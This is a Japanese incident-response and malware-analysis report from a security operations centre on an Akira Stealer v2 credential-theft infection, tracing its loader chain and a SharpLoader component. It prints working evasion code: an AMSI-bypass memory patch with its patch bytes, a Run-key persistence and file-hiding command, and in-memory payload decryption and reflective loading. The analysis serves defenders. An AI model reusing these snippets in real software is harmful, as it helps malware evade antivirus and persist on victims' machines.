Akira Stealerの内側: モジュール型スティーラーの完全な技術分析
始まりはMicrosoft 365のDefenderアラート1件でした。マルウェアもシグネチャも検出されず、騒ぎにもなりませんでした。ノイズの中のささやきが1つあっただけです。そこから明らかになったのは、数か月に及ぶ認証情報の窃取でした。外科手術のように正確で、静かで、ほとんど目に見えないものでした。当社のCSOCがこの静かな兆候を全面的な対応へと変えた経緯をご紹介します。お客様が制御を失っていたことに気づく前に、それを取り戻しました。

プロローグ
現代の多くの攻撃と同じように、それは静かに始まりました。信頼度の低いDefenderアラート 「疑わしい探索活動のシーケンス(Suspicious sequence of exploration activities)」 が、新規のお客様を当社のglueckkanja Cyber Security Operations Center(CSOC)へオンボーディングしている最中に浮上したのです。
シグネチャの検出はありませんでした。マルウェアの分類もありませんでした。リアルタイム保護の反応もありませんでした。あったのは、Microsoft 365 Defenderのノイズに埋もれた1件の振る舞い相関だけです。それでも、明らかに何かがおかしいものでした。
このアラートをトリアージしている最中、ある特定の動作が目に留まりました。python.exe がChromiumプロファイル内の Login Data と Web Data の両ファイルにアクセスしていたのです。Microsoft Defenderはこれを即座に重大度の高いインシデントへと格上げしました。「パスワードおよびその他の機微なWebブラウザー情報の窃取の可能性(Possible theft of passwords and other sensitive web browser information)」 です。
これは誤検知ではありませんでした。もっと深いところにあるものの、ほんの先端でした。
テレメトリを逆方向にたどると、スタートアップに配置されたありふれたバイナリ Updater.exe が見つかりました。これはNodeJSベースのラッパー(main.exe)を起動し、そのラッパーが python.exe 経由で astor.py というスクリプトを実行するコマンドラインを走らせていました。
Updater.exe → main.exe → cmd.exe → python.exe Crypto\Util\astor.py
このスクリプトは認証情報をかき集めるだけではありませんでした。レジストリの照会、システムのフィンガープリンティング、権限を考慮した列挙など、侵害後の偵察ステップを順に実行していたのです。検出を回避するためにOS本来の動作を模倣し、外科手術のような精度で動作していました。そして、それはほぼ成功しかけていました。
初動対応の時点では、状況は次のとおりでした。
Updater.exeはVirusTotal上で 69個中1個 のエンジンでしか検出されていませんでした。main.exe、astor.py、および関連するすべてのコンポーネントは、VirusTotalでほとんど検出されていませんでした。- 署名されたファイルはありませんでした。昇格されたコンテキストもありませんでした。あったのは、きわめて普通でないことをしている「普通の」プロセスだけです。
Updater.exe は認証情報に触れていませんでした。その役割はメモリ上で動作するPythonペイロード astor.py に委ねられており、このファイルは設計上ほとんど痕跡を残しませんでした。
21分 以内に、該当システムをネットワークから隔離しました。70分 以内には、影響範囲のすべてで認証情報をローテーションしました。内部IDも、SaaSプラットフォームも、サードパーティサービスも含みます。
しかし本当の転換点は、Pythonペイロードを抽出して完全に復号したときに訪れました。見つかったのは汎用のスティーラーではなく、Telegram経由で商用配布されているマルウェアファミリー Akira Stealer v2 のカスタム配備版でした。
当社の内製の脅威インテリジェンスとリバースエンジニアリングの能力により、マルウェアの機能全体を再構築し、埋め込まれたすべての指標を抽出し、そのステージング、データ持ち出し、認証情報の標的化ロジックを詳細に把握できました。
さらに重要なのは、当社が技術的な帰属分析で止まらなかったことです。当社はその先へ進みました。
お客様に対して、持ち出された認証情報の完全なデータセット を提供できました。クラウドサービス、CRMシステム、社内プラットフォーム、さらには主要な従業員が使っていた個人用ツールへのアクセス情報を含め、100件を超える一意のユーザー名とパスワードの組み合わせ です。この窃取は 数か月間 続いていましたが、当社はそのすべてを説明できました。
この事案から得た知見をもとに、影響を受けたシステムをスキャンし、認証情報へのアクセスパターンを再構築し、詳細なフォレンジックレポートを生成する 感染後分析ツール を構築しました。何が、いつ、どこから盗まれたのかを正確にマッピングします。
このスキャナーについては、本レポートの最後で少しご紹介します。
これは単なる1件のインシデントではないからです。 これが当社の調査のしかたです。これが当社の守りかたです。
glueckkanja CSOCへようこそ。
これが当社の働きかたです。侵害は待ってくれないからです。
1. 初期イベントとトリアージの概要
2025年3月31日、Microsoft Defender for EndpointがWindows 10 64ビットのエンドポイント上で 「疑わしい探索活動のシーケンス」 というラベルのアラートを生成しました。私はこのシグナルを起点にトリアージを開始し、プロセスツリー、システムタイムライン、そしてDefenderが相関付けた証拠を使って対象システムを確認しました。
1.1 タイムラインに基づくトリアージ
このアラートは、さらに詳しく調べる必要のあるプロセスの連なりを指し示していました。初期レビューの段階で、ローカルユーザープロファイル内のChromeブラウザーデータに対して次のアクセスパターンを確認しました。
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data%LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data
これらのアクセスは Updater.exe というプロセスから開始されていました。Microsoft Defenderはヒューリスティック分析や振る舞い分析ではこのバイナリを検出していませんでしたが、VirusTotalでは Updater.exe に対する検出が見つかりました。当時、フラグを立てていたのは1エンジンのみでした。

観測された実行チェーンの全体は次のとおりです。
winlogon.exe
└── userinit.exe
└── explorer.exe
└── Updater.exe
└── main.exe
└── cmd.exe /d /s /c "python.exe Crypto\Util\astor.py"
└── python.exe Crypto\Util\astor.py
この段階では、関与するファイルに対する踏み込んだ静的解析も動的解析も行っていませんでした。私の関心は、高レベルの振る舞いと文脈を理解することにありました。プロセス名とファイルパスはありふれたもので、連鎖するPython実行以外に不審なコマンドライン引数はありませんでした。
1.2 初動対応
最初のアラートから 21分 以内に、Defender for Endpointの隔離機能を使ってホストの隔離を開始しました。目的は、これ以上の拡散やデータ持ち出しを防ぐことです。
最初の 70分 の間に、該当ホストで使用されていたことが分かっている認証情報のローテーションを進めました。対象は社内システム、SaaSプラットフォーム、および重要なサードパーティベンダーです。
リバースエンジニアリングのプロセスは、最初の封じ込めの後に始まりました。以降のセクションでは、この侵害を調査するために行った技術的なディープダイブを記録します。
1.3 対応の概要 – 迅速、透明、成果重視
当社の対応は、スピード、専門性、オペレーションの質を組み合わせたものでした。実証済みのワークフローと、お客様に対する完全な可視性がその裏付けになっています。
- 検知から完全封じ込めまで90分未満 Defenderのアラート、ネットワーク隔離、ウイルス対策スキャン、認証情報の失効を、迅速かつ連携して実行しました。
- 48時間以内のディープダイブ・フォレンジック対応 ディスクとメモリの完全分析、ブラウザーアーティファクトのレビュー、認証情報ダンプの検出、攻撃者の活動の振る舞い再構築を含みます。
- 安全なデータ復旧と証拠の取り扱い 盗まれたデータ(Cookie、パスワード、トークン、ブラウザープロファイルなど)を復旧し、フォレンジック的に保全して、お客様へ安全に引き渡しました。
- エンドツーエンドの可視性とコミュニケーション 最初のアラートから修復とデブリーフィングまで、すべてのステップを完全に文書化し、リアルタイムで共有し、構造化されたCSIRTハンドオーバーとしてまとめました。
このインシデントは、glueckkanja CSOCがマルウェアを止めるだけで終わらないことを示しています。当社はその影響を解体し、お客様に制御を取り戻し、あらゆるインシデントをインサイトへと変えます。
2. マルウェアのアーキテクチャと実行チェーンの概要
該当エンドポイントで観測されたマルウェアは、責務が明確に分離された多段構成のアーキテクチャに従っていました。配備、デコード、実行、そしてデータ持ち出しです。
2.1 実行チェーンの概要
観測された実行フローは次のとおりです。
Updater.exe
└── main.exe
└── cmd.exe
└── python.exe astor.py
チェーン内の各コンポーネントは、ステルス性、モジュール性、回避性に寄与していました。このアーキテクチャは、正規のランタイムと標準のOSインタープリターを利用して検出メカニズムを迂回していました。
2.1.1 起点の不確実性: 初期侵入経路の欠落
侵害後の環境を広範囲に分析したにもかかわらず、初期侵入経路を確定することはできませんでした。この不確実性は主に、マルウェアが 検知までの推定6か月間 活動し続けていたことに起因します。これは Microsoft Defender for Endpointが強制するログ保持期間 を超えていました。
その結果、最初に感染した時点のテレメトリやフォレンジックアーティファクトは一切得られませんでした。配布段階に関連する初期のプロセス生成イベント、ファイルのドロップ、コマンドラインの記録は、Defenderのタイムラインからも関連センサーからも復元できませんでした。
文脈上の指標とOSINTの情報源から、感染経路としては次のものが考えられます。
- クラックまたは改造されたゲームソフトウェアの トロイの木馬化されたインストーラー
- フォーラムやサードパーティサイトで配布される 偽のユーティリティ や「パフォーマンスブースター」
- 特定のユーザーの関心(暗号資産関連ツールやDiscordの拡張機能など)を狙った 悪意のあるブラウザー拡張機能
ただし、これらはいずれも推測の域を出ません。
調査中に、確定的なドロッパー、フィッシングメール、侵害されたWebサイトを特定することはできませんでした。マルウェアのアーキテクチャと実行チェーンは完全に再構築できたものの、最初の侵害点(MITRE ATT&CK T1190 / T1566) は検証できませんでした。
2.1.2 Updater.exe – 初期ローダー
Microsoft 365 Defenderでプロセスツリーを確認したとき、Updater.exe はすぐに目を引きました。それが何をしたかではなく、どれほど静かにシステムの実行フローへ自らを組み込んでいたかが理由です。
このバイナリは、標準のWindows Runキーを介して自動実行に登録されていました。
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
つまり、ユーザーがセッションにログオンするたびに起動されるということです。管理者権限を必要とせず、EDRのテレメトリでも見過ごされがちな、古典的な永続化メカニズムです。
- ファイル種別: Windows PE実行ファイル(32ビット)
- 署名: なし
- VirusTotalの検出: トリアージ時点で69個中1個のエンジン
- 実行コンテキスト: 中程度の整合性レベル、ユーザーセッション
- 配置場所:
AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
ファイル自体は小さく、きれいにコンパイルされており、静的解析の観点では取り立てて特徴がありませんでした。不審な文字列も、暗号化されたセクションも、難読化やパッキングの痕跡もありません。インポートしているのは最小限の標準Windows API関数だけで、ペイロードは埋め込まれていませんでした。
しかし、その振る舞いのほうが雄弁でした。起動されると Updater.exe は、同梱のアーカイブからElectronアプリケーションを展開しました。標準のElectronツールでパッケージされた、自己完結型のNodeJSランタイムです。展開されたフォルダーには main.exe という実行ファイルが含まれ、これが子プロセスとして起動されました。
Updater.exe → main.exe
この段階ではネットワークの指標も、プロセスインジェクションも、権限やトークン昇格の異常もありませんでした。Updater.exe の役割はすべてローダーとしてのものに見えます。第2段階のコンポーネント(main.exe)を環境へ送り込むことであり、その狙いはステルス性とモジュール性の維持だと考えられます。
この種のアーキテクチャ上の分離は、現代のコモディティマルウェアやスティーラーツールキットでは一般的です。初期ローダーは単なる配備用スタブとして働き、より重いロジック(多くは難読化され、インタープリターで実行され、あるいは動的に生成されます)を後続の段階に閉じ込めます。
今回の事案で Updater.exe はまさにその役目を果たしました。周囲に溶け込み、検出されず、main.exe そして最終的に astor.py にある本来のスティーラーロジックの実行への道を整える、静かな最初の足がかりです。
自身のディレクトリを越えてファイルシステムに触れることはなく、振る舞いルールも一切発動させませんでした。それでもこれは、長く周到に構築された攻撃チェーンの最初のドミノでした。
2.1.3 main.exe – 難読化されたNodeJSペイロードコンテナー
Updater.exe の実行に続いて、main.exe という第2段階のバイナリが起動されました。このコンポーネントは標準的なElectronアプリケーションの体裁をとっていました。Node.jsとChromiumを同梱したランタイム環境で、クロスプラットフォームのデスクトップアプリによく使われるものです。その無害さこそが、悪用されたときに危険である理由の一部です。
調べてみると、main.exe には app.asar という内部アーカイブが含まれていました。Electronベースのアプリケーションで標準的に使われるパッケージ形式です。ただし正規のElectronアプリとは違い、このアーカイブの中身はまったく普通ではありませんでした。
- プラットフォーム: Electron(Node.js + Chromium)
- アーキテクチャ: 64ビットWindows
- コンテンツ構造:
app.asar内に埋め込まれたJavaScriptファイル - 難読化レベル: 高。JavaScript向けの商用難読化ツールキット
js-confuserを使用
逆コンパイルと難読化解除を行うと、main.exe の中核ロジックが明らかになりました。その目的はGUIの表示でもフロントエンドロジックの実行でもなく、隠れた実行オーケストレーターとして振る舞うことでした。
観測された振る舞い:
- JavaScriptペイロード内に格納されたBase64エンコード済みのPowerShellコマンドを復号し、再構成する
cmd.exeを生成し、そのPowerShellコマンドをインラインで実行する- そのPowerShellコマンドが今度は
python.exeを呼び出し、一見無害に見えるディレクトリ構造(Crypto\Util\astor.py)に置かれたスクリプトを渡す
main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\Util\astor.py
この連鎖により、攻撃者は実行コンテキストを切り替え、単純な検出を回避できました。ペイロードは難読化され、メモリ上でステージングされていたため、従来のシグネチャベースの対策は効きませんでした。
Electronフレームワークは理想的な隠れみのとなり、精査を避けつつ任意のJavaScriptを実行できるようにしました。JavaScriptベースの実行はクロスプラットフォーム互換性ももたらし、柔軟な配備と動的な制御ロジックの組み込みを容易にしていました。
main.exe を特に危険にしていたのは、すでにステージング済みのもの以外に追加のファイルを一切落とさずに動作できる点です。スティーラースクリプトはディスクから直接呼び出されましたが、ステージングと実行のロジックはすべてElectronバンドル内に埋め込まれたままでした。
まとめると、main.exe は難読化された多層の実行コアとして機能し、初期の永続化と astor.py におけるAkira Stealerペイロードの完全な起動との間に立つゲートキーパーの役割を担っていました。
2.1.4 cmd.exe とPowerShellの中継
実行チェーンのこの段階は中継役として機能しました。ペイロードのロジックのためではなく、難読化と間接化のためです。
main.exe がペイロードの展開とデコードという役目を終えると、cmd.exe プロセスを生成しました。このプロセス自体は悪意のあるロジックを持たず、ファイルの書き込みや変更も行いません。唯一の目的は、エンコードされたコマンド を伴うPowerShellセッションを起動するためのラッパーになることでした。
この手法は、可視性を下げて検出を避けるための定番の戦術です。
- 実行チェーン:
main.exe → cmd.exe /d /s /c "powershell -EncodedCommand <Base64Payload>" - 目的:
- PowerShellの実行を追加のシェルで包み込む
- 実際のPowerShellコードがログ上で直接見えないようにする
- 不審なパラメーターを伴う
powershell.exeの直接実行に反応するEDRを回避する
PowerShellスクリプトをBase64エンコードされた文字列として埋め込み、cmd.exe 経由で呼び出すことで、攻撃者は複数の検出手段を回避しました。
- コマンドラインのヒューリスティックフィルター
- 標準のログ記録(Event ID 4104、4688など)
-NoProfile、-ExecutionPolicy Bypass、インラインスクリプトといったpowershell.exeの引数に対するルールベースの検出
注目すべき点として、このPowerShellコマンドは最小限に保たれ、埋め込まれたスティーラースクリプト astor.py へのパスを指定して python.exe を起動することだけに集中していました。追加のモジュールは読み込まれず、メモリ上に明白なシグネチャも存在しませんでした。
この中継テクニックは、レッドチーミングでも高度な情報窃取型マルウェアでもよく使われます。実装が容易でありながら、テレメトリの相関分析なしでは捕捉しにくい、軽量な回避レイヤーとして機能します。
今回の事案で cmd.exe はまさにその役目を果たしました。JavaScriptのロジックとPython実行との間をつなぐ、単純で静かな橋渡しです。それは、あやうく見過ごされるところでした。
2.1.5 astor.py を伴う python.exe
実行チェーンの最終段階であり、最も影響の大きい段階は、python.exe が astor.py を呼び出したときに訪れました。完全にメモリ上で動作する、Pythonベースのモジュール型情報窃取ツールです。このスクリプトは攻撃チェーン全体の運用上の中核でした。
多くのコモディティスティーラーとは異なり、astor.py は平文で配備されていませんでした。多層の復号メカニズムで保護されていたのです。
- 復号スタック: ファイルはまずGZIPで圧縮され、その後 AES-256-CBC で暗号化されていました。
- 鍵導出: PBKDF2ベースの鍵導出プロセス(SHA-512、100万回の反復)が使われており、静的解析やブルートフォースは現実的でなくなっていました。
実行時に復号されると、このスクリプトはいくつもの専用モジュールを実行しました。いずれも機微なデータソースを狙うものです。
中核となる機能
- ブラウザーデータの抽出: Chromiumベースのブラウザー(Chrome、Edge、Brave、Opera)からログイン認証情報、Cookie、オートフィルデータを取得
- トークンの収集: 特に Discord からセッショントークンを収集し、暗号資産ウォレットの拡張機能をスキャン
- データのパッケージング: 収集したすべてのデータを構造化された ZIPアーカイブ に集約し、攻撃者側での解析に備えてディレクトリとファイルの文脈を保持
- 持ち出し: 生成されたアーカイブを公開APIとインフラへアップロード
実行コンテキスト
スティーラーのロジックはすべてメモリ上で実行され、永続的なファイルはディスクに書き込まれませんでした。残るテレメトリの痕跡は、プロセス内のメモリアーティファクトと標準的なサブプロセス呼び出しの程度にとどまります。この段階では永続化の試みは一切行われていません。狙いは、素早く、効率的で、静かなデータ窃取でした。
持ち出しに正規のAPIを使っていたことも、検出と防御を大幅に難しくしました。外向きの通信が日常的なインターネット利用に紛れてしまうからです。
この段階で最終的に、マルウェアの正体が確定しました。Akira Stealer v2 の亜種であり、次の特徴で知られています。
- 高いモジュール性
- 実行時の難読化
- Telegram経由での商用配布
- 認証情報の収集とトークンベースのセッションハイジャックへの強い注力
先行する各段階と合わせて、astor.py はステルス性が高く巧妙に設計された情報窃取チェーンの決定的な終端を形成していました。以降のセクションでは、このコンポーネントをさらに分解し、当社がどのようにそのロジックを解析し、インフラをマッピングし、その運用で使われた侵害指標をすべて復元したのかを説明します。
3. ディープダイブ: Updater.exe
Updater.exe は、侵害後の分析で最初に観測されたバイナリです。中立的な見た目と、ごくわずかな検出実績しか持たないにもかかわらず、マルウェアの運用上の永続性を維持し、次の段階のペイロードを届けるうえで決定的な役割を果たしていました。
3.1 プロパティ
| プロパティ | 値 |
|---|---|
| 形式: | Windows Portable Executable (PE32) |
| アーキテクチャ: | x86-64 |
| サイズ: | 約154 KB |
| エントロピー: | 通常(非パック) |
| 署名: | なし |
| VirusTotalの検出: | 分析時点で1/69 |
このファイルはインポートテーブルがきれいで、埋め込み文字列の指標もありませんでした。既知のパッカー、クリプター、実行時難読化のメカニズムは検出されていません。構造はカスタムコンパイルされたバイナリと整合していました。
3.2 振る舞いの分析
ユーザー操作は不要
このマルウェアチェーンは、ユーザーの操作を一切必要とせずに実行されました。Defenderのプロセステレメトリによれば、初期バイナリ(Updater.exe)は自動的に起動されており、レジストリの自動実行キーのような永続化メカニズムによるものと考えられます。ただし侵害からの経過期間と過去のイベントログの欠落により、永続化の正確な手法は復元できませんでした。
サイレントな実行とステージング
実行されると Updater.exe は、ウィンドウもユーザーへの確認も表示せずに直ちに main.exe を起動しました。ステージングはバックグラウンドで静かに進行しました。ユーザーの同意ダイアログ、UACプロンプト、GUIコンポーネントの痕跡はありません。
ペイロード配備の振る舞い
main.exe はElectronアプリケーション構造の一部であることが分かりましたが、その配備の正確な出所は不明のままです。次のいずれかであると想定されます。
- ペイロードが
Updater.exeの内部に同梱されていた(埋め込みリソースなど)、または - リモートの配布元から取得された
ネットワークテレメトリが存在せず、ハードコードされたURLも復元できなかったため、Electronアプリの配布経路は確定できませんでした。
プロセスチェーンの振る舞い
実行されると Updater.exe は main.exe を子プロセスとして生成しました。呼び出しは非対話的で、チェーンから生成されたプロセスはいずれもUIの動作を示しませんでした。プロセスチェーンは想定どおりに続きました。
Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py
すべての実行段階はユーザー入力を必要とせず、事前に設定された起動ロジックとサイレントな実行パスだけに依存していました。これにより露出が最小限に抑えられ、マルウェアは長期間にわたって検出されずに済んだのです。
3.3 感染チェーンにおける役割
Updater.exe は、より広い感染チェーンの中で 単一ではあるが不可欠な役割 を果たしていました。第2段階のコンポーネント main.exe の永続化と再配備です。
確認された特性
- 悪意のあるロジックを直接含んでも実行しても いませんでした
- データの持ち出しは一切行って いませんでした
- ブラウザーの認証情報ストアや機微なユーザーデータには触れて いませんでした
その唯一の目的は、ユーザーのログオン時に main.exe を静かに起動することでした。永続化の手法としてはレジストリの自動実行エントリが最も有力です(テレメトリの制約から直接の復元はできていません)。
独立した第1段階のローダーとして振る舞うことで、Updater.exe は本来のスティーラーペイロード(astor.py)を実行のより深い層に隠し続けました。この責務の分離により、攻撃者は次のことが可能になりました。
- 静的なAVやサンドボックスによる相関付けを避ける
- ローダーを変更せずにペイロードを差し替えたり更新したりする
- 侵入口における振る舞いのシグナルを減らす
このパターンは マルウェア・アズ・ア・サービス(MaaS) の運用に典型的で、配布メカニズムは汎用的に、ペイロードはモジュール式または顧客ごとに用意されます。
今回の事案で Updater.exe は、信頼できるステルスな侵入口として機能するのにちょうど足りるだけのロジックを提供していました。それ以上でも、それ以下でもありません。
3.4 レジストリによる永続化(astor.pyで確認)
Pythonペイロードの静的解析から、Updater.exe がレジストリの自動実行エントリによって明示的に永続化されていることが分かりました。
- レジストリパス:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run - 値の名前:
Realtek Audio - ペイロードのパス:
%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe
対応するレジストリコマンドはPowerShell経由で実行されます。
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Realtek Audio" /t REG_SZ /d "...\Updater.exe" /f
これにより、ユーザーがログオンするたびにマルウェアが起動されます。さらに検出を避けるため、ファイルには隠しファイル属性とシステム属性が付与されます。
attrib +h +s "Updater.exe"
この永続化メカニズムはastor.pyのコードに直接埋め込まれており、最終段階のスティーラーがディスク上とスタートアップレジストリの両方でローダーの存在を能動的に維持していることを裏付けています。
3.5 まとめ
Updater.exeは構造や内容の面で本質的に悪意があるわけではありませんでしたが、実行チェーンの中での文脈的な振る舞いが、マルウェアローダーとしての役割を裏付けました。
このバイナリは、クリーンでミニマルな第1段階のランチャーとして機能し、静的解析、AVエンジン、振る舞いルールによる検出を避けていました。その設計は悪意あるロジックの実行そのものではなく、ステルス性と運用上の支援だけに焦点を当てています。
しかし、その役割は初期配備にとどまりませんでした。astor.py ペイロードのリバースエンジニアリングの過程で、Updater.exe の存在を能動的に確認するロジックを特定しました。このチェックは、スティーラーのコード内に実装されたより広い ヘルスチェックと自己修復のサイクル の一部であり、感染チェーンの完全性を検証し、欠けたコンポーネントを必要に応じて復元するためのメカニズムでした。
つまり Updater.exe は、マルウェアを起動する役目を担うだけでなく、継続的なランタイム検証 の一部も構成していたということです。このスタブがなければ、マルウェアは以後のセッションで再初期化する能力を失いかねませんでした。
Updater.exe の主な機能:
main.exeのシームレスな配備astor.pyの間接的な実行- ローダーとペイロードのロジックの分離
- 運用上のヘルス監視の一部として ペイロード自身から参照される
セクション5では、自己修復の振る舞いと完全性検証のメカニズムを含め、スティーラーの内部ヘルスチェックルーチンを詳しく扱います。
現時点で明らかなのは、Updater.exe がこの多層の情報窃取アーキテクチャにおいて、点火装置であると同時に錨でもあったということです。
3.6 抽出のトリック: ローダーの裏をかく
リバースエンジニアリングで最良の結果が得られるのは、必ずしも深いバイナリ逆アセンブルからとは限りません。ちょっとした仕掛けと忍耐から得られることもあります。
管理されたラボ環境で感染を分析していたとき、奇妙なことに気づきました。Updater.exe は存在して実行されているのに、main.exe がファイルシステムから消えていたのです。そこで思いつきました。マルウェアに自分自身を修復させたらどうなるだろう、と。
Updater.exe はそのままに、感染環境から main.exe を意図的に削除 しました。すると案の定、次のユーザーセッションのログオン後、ローダーが動き出しました。癇癪を起こすでもなく、静かに第2段階を再構築しようとしたのです。
ここからが興味深いところです。Updater.exe は main.exe を直接作り直すのではなく、まず app-64.7z というファイルをドロップしました。標準的な 7-Zipアーカイブ です。このアーカイブには、main.exe、resources、そして埋め込まれたロジックをすべて含む app.asar ペイロードなど、Electronアプリケーションの完全な構造が入っていました。
私たちは事実上、マルウェアにソースパッケージを差し出させた わけです。

この7zアーカイブを手にしたことで、元のローダーに再び触れることなく、JavaScriptベースのオーケストレーションロジックを抽出し、展開し、完全に解析できました。アーカイブの構造は、想定されるElectronアプリのレイアウトと完全に一致していました。
この振る舞いは、攻撃者が モジュール式で保守しやすいアーキテクチャ を意図的に選び、アーカイブを柔軟なペイロードコンテナーとして使っていたことを強く示唆します。ローダーのバイナリを再コンパイルせずに、ペイロードのコンポーネントを差し替えたり更新したりできるようにもなっていました。
そして当社の場合はどうだったか。彼らのチェーンの裏をかき、ドロップを傍受し、パッケージ一式を持ち帰ることができました。職人が見ていない隙に作業台から設計図を持ち出すようなものです。
こう言ってもいいでしょう。最良のフォレンジックツールは del と待つことと、ほんの少しの好奇心である場合もある のです。
4. ディープダイブ: pow.bat
分析対象のマルウェアキャンペーンにおいて、Invoke-SharpLoader というコンポーネントは、きわめてモジュール性が高く回避的な実行フローを示す、カスタムのメモリ常駐型.NETローダーとして機能します。このセクションでは、その内部アーキテクチャ、AMSIパッチによるアンチ解析戦略、そして第2段階ペイロードを可能にする役割を分解します。
4.1 バイナリのプロパティ – SharpLoaderのバッチラッパー
.NETペイロードをメモリ上で読み込むために実行される前の時点で、外側のラッパー pow.bat は静的解析上、次の特徴を示します。
| プロパティ | 値 |
|---|---|
| 形式: | DOSバッチファイル |
| アーキテクチャ: | スクリプトベース(コンパイル済みバイナリではない) |
| ファイルサイズ: | 27.79 KB(28454バイト) |
| エントロピー: | 通常(プレーンASCIIテキスト) |
| マジック: | DOSバッチファイル、ASCIIテキスト |
| 電子署名: | 検出されず |
| VirusTotalの検出: | 26 / 61(分析時点) |
| 脅威ラベル: | trojan, downloader, powershell, agentb |
単純な .bat ファイルでありながら、このスクリプトは多くの静的検出をすり抜け、難読化・暗号化されたペイロードのダウンロードと実行に、PowerShellのような環境寄生(living-off-the-land)の手法を多用しています。
4.2 AMSIバイパスの手法(クラス: gofor4msi)
SharpLoaderが最初に回避する防御メカニズムの1つがAMSI(Anti-Malware Scan Interface)です。PowerShellやWindows Script Hostといったスクリプトエンジンに統合され、不審な振る舞いに対するリアルタイムのコンテンツスキャンを提供するMicrosoftの機能です。マルウェアの作者は、エンドポイント保護製品による検出を避けるためにAMSIの回避をしばしば試みます。
SharpLoaderでは、AMSIバイパスは amsi.dll 内の AmsiScanBuffer 関数に対する メモリ上での直接パッチ によって実装されています。この関数は本来、スクリプトの内容を解析し、それが不審(AMSI_RESULT_DETECTED)か安全(AMSI_RESULT_CLEAN)かを示す結果コードを返す役割を担います。
該当するメモリパッチのコードは次のとおりです。
var lib = Win32.LoadLibrary("amsi.dll");
var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");
Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, addr, patch.Length);
この一連の処理は次のステップを実行します。
LoadLibrary("amsi.dll")を使って AMSI DLLをプロセスに読み込む。GetProcAddress()を介してAmsiScanBuffer関数の メモリアドレスを解決する。VirtualProtect()を使ってそのアドレスの メモリ保護属性を変更 し、書き込み可能にする。Marshal.Copy()で 関数の先頭を上書き し、小さなシェルコードパッチを当てる。
64ビットシステムに適用されるパッチは次のとおりです。
static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret
これは次の命令に対応します。
mov eax, 0x80070057→ 戻り値コードをWindowsのエラーコードE_INVALIDARGに設定するret→ 関数から直ちに復帰する
これにより AmsiScanBuffer は事実上、静かに失敗して非検出の結果を返すようになり、AMSIのチェックが無力化されます。これでマルウェアは、本来ならウイルス対策のアラートを引き起こすスクリプトや.NETコードを実行できます。
32ビットシステムで実行された場合は、別のパッチが適用されます。
static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18
狙いは同じく「クリーン」な結果を強制することですが、x86の呼び出し規約に合わせてあります。
LoadLibrary、GetProcAddress、VirtualProtect といった生のP/Invoke呼び出しを使うことで、このパッチ処理は動的に、しかもEDRツールに監視されうる高レベルAPIを一切呼び出さずに実行できます。この手法はコンパクトで効果的、しかもフォレンジック上の痕跡をほとんど残しません。
まとめると、このAMSIバイパスの手法は ウイルス対策インターフェイスに対する低レベルかつ直接的なメモリ攻撃 であり、実行時にミリ秒単位で完了します。現代のエンドポイント防御において、振る舞い監視とメモリ検査が不可欠である理由を示す有力な例です。
4.3 第2段階ペイロードの取り扱い
AMSIバイパスが完了すると、ローダーは第2段階のペイロードの取得と準備に進みます。このペイロードはローダー自体に埋め込まれてはおらず、$location パラメーターによる呼び出し方に応じて、リモートサーバーから取得されるか、ディスクから読み込まれます。
指定された場所が http で始まる場合はURLとして解釈され、ローダーは Get_Stage2() を使って HttpWebRequest 経由でペイロードをダウンロードします。ローカルパスの場合は Get_Stage2disk() がファイルシステムから直接内容を読み取ります。いずれの場合も、想定されるファイルの内容は Base64エンコード、GZip圧縮、AES暗号化 が施されたブロブです。
ローダーはその後、4段階のデコードと復号のパイプライン を完全にメモリ上で実行します。
- Base64デコード: エンコードされた文字列を生のバイト列に変換します。このステップは、実際のバイナリ内容を静的検査ツールから隠し、単純なパターンマッチを防ぐためのものです。
- GZip展開: デコードされたバイト列を
GZipStreamに渡して展開します。圧縮によりファイルサイズが小さくなり、難読化の層がもう1つ加わります。 - AES復号: 圧縮されたバイト列を、CBCモードのAES(Rijndael)で復号します。鍵は実行時に、ユーザーが指定したパスワードからSHA-256ハッシュとPBKDF2(
Rfc2898DeriveBytes)、および固定のソルトを組み合わせて導出されます。 - ソルトの除去: 復号結果には固定長のソルトの接頭辞(4バイト)がまだ含まれています。これを手動で取り除くことで、有効な.NETアセンブリを表すクリーンなバイナリブロブが得られます。
復号パイプラインは次のように実行されます。
byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));
byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);
ここで AES_Decrypt() は、Rijndaelアルゴリズムをラップしたカスタム関数で、いずれもパスワードから導出された256ビットの鍵と128ビットのIV(初期化ベクトル)で構成されています。
設計上の重要な観察点:
- PBKDF2と組み合わせたAES-CBCの採用により、パスワードのブルートフォースは容易ではありません。
- 復号がメモリ上で行われるため、中間結果がディスクに書き込まれることはなく、フォレンジック上の痕跡が減ります。
- 誤ったパスワードが指定された場合、復号は静かに失敗するか不正なデータを生成し、実行の失敗や追跡困難な例外につながることがあります。
まとめると、この多段のペイロード処理手法は、シグネチャベースとヒューリスティックベースの双方の静的検出に対するハードルを大きく引き上げます。実際に実行するか、ローダーの振る舞いを深く検査しない限り、防御側がパスワードと正確なデコードロジックを知らずに埋め込みペイロードを解明できる見込みはほとんどありません。
4.4 動的なアセンブリの読み込み
第2段階のペイロードの復号に成功すると、得られたバイト配列は有効な.NETアセンブリになります。このアセンブリをディスクに書き出す(ウイルス対策やEDRにとって一般的な指標になります)のではなく、SharpLoaderはリフレクションを使ってメモリ上で直接実行します。
Assembly a = Assembly.Load(bin);
a.EntryPoint.Invoke(null, new object[] { commands });
この手法は ファイルレス実行 と呼ばれます。次の理由から、きわめて回避性が高いものです。
- ディスクに触れないため、ファイルベースのIOC(侵害指標)が残らない
- バイナリがディスクに保存されないため、従来のフォレンジック取得が難しくなる
